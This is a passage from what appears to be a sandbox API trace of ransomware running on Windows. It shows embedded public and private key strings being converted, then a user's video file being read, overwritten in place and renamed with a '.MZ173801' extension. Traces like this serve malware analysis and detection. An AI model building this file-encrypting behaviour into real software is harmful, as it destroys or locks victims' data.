K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0164.357] GetCurrentThreadId () returned 0xab4 [0164.357] GetCurrentThreadId () returned 0xab4 [0164.357] GetCurrentThreadId () returned 0xab4 [0164.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0164.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x322167c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0164.360] GetCurrentThreadId () returned 0xab4 [0164.360] GetCurrentThreadId () returned 0xab4 [0164.360] GetCurrentThreadId () returned 0xab4 [0164.360] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\K7frokp1X.avi" (normalized: "c:\\users\\fd1hvy\\videos\\k7frokp1x.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0164.360] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0164.360] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0164.360] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x107b7 [0164.360] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0164.360] ReadFile (in: hFile=0x278, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x107b7, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x107b7, lpOverlapped=0x0) returned 1 [0164.362] CloseHandle (hObject=0x278) returned 1 [0164.364] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\K7frokp1X.avi" (normalized: "c:\\users\\fd1hvy\\videos\\k7frokp1x.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0164.366] WriteFile (in: hFile=0x278, lpBuffer=0x24b2040*, nNumberOfBytesToWrite=0x107b7, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24b2040*, lpNumberOfBytesWritten=0x19fa24*=0x107b7, lpOverlapped=0x0) returned 1 [0164.927] CloseHandle (hObject=0x278) returned 1 [0164.930] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\K7frokp1X.avi" (normalized: "c:\\users\\fd1hvy\\videos\\k7frokp1x.avi"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\K7frokp1X.avi.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\k7frokp1x.avi.mz173801")) returned 1 [0164.930] GetCurrentThreadId () returned 0xab4 [0164.930] GetCurrentThreadId () returned 0xab4 [0164.930] GetCurrentThreadId () returned 0xab4 [0164.930] GetCurrentThreadId () returned 0xab4 [0164.930] GetCurrentThreadId () returned 0xab4 [0164.930] GetCurrentThreadId () returned 0xab4 [0164.931] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78377b10, ftCreationTime.dwHighDateTime=0x1d5e431, ftLastAccessTime.dwLowDateTime=0xec9a0a70, ftLastAccessTime.dwHighDateTime=0x1d5ed5c, ftLastWriteTime.dwLowDateTime=0xec9a0a70, ftLastWriteTime.dwHighDateTime=0x1d5ed5c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="mrC2", cAlternateFileName="")) returned 1 [0164.931] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6b50460, ftCreationTime.dwHighDateTime=0x1d5f0b4, ftLastAccessTime.dwLowDateTime=0xc2a93e90, ftLastAccessTime.dwHighDateTime=0x1d5f002, ftLastWriteTime.dwLowDateTime=0xc2a93e90, ftLastWriteTime.dwHighDateTime=0x1d5f002, nFileSizeHigh=0x0, nFileSizeLow=0x11298, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Xa5aL.mkv", cAlternateFileName="")) returned 1 [0164.931] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0164.931] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0164.931] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\Xa5aL.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\xa5al.mkv"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6b50460, ftCreationTime.dwHighDateTime=0x1d5f0b4, ftLastAccessTime.dwLowDateTime=0xc2a93e90, ftLastAccessTime.dwHighDateTime=0x1d5f002, ftLastWriteTime.dwLowDateTime=0xc2a93e90, ftLastWriteTime.dwHighDateTime=0x1d5f002, nFileSizeHigh=0x0, nFileSizeLow=0x11298)) returned 1 [0164.931] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\Xa5aL.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\xa5al.mkv")) returned 0x20 [0164.931] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\Xa5aL.mkv", dwFileAttributes=0x80) returned 1 [0164.933] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0164.933] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321061c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0164.933] GetCurrentThreadId () returned 0xab4 [0164.934] GetCurrentThreadId () returned 0xab4 [0164.934] GetCurrentThreadId () returned 0xab4 [0164.934] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0164.934] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x322167c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 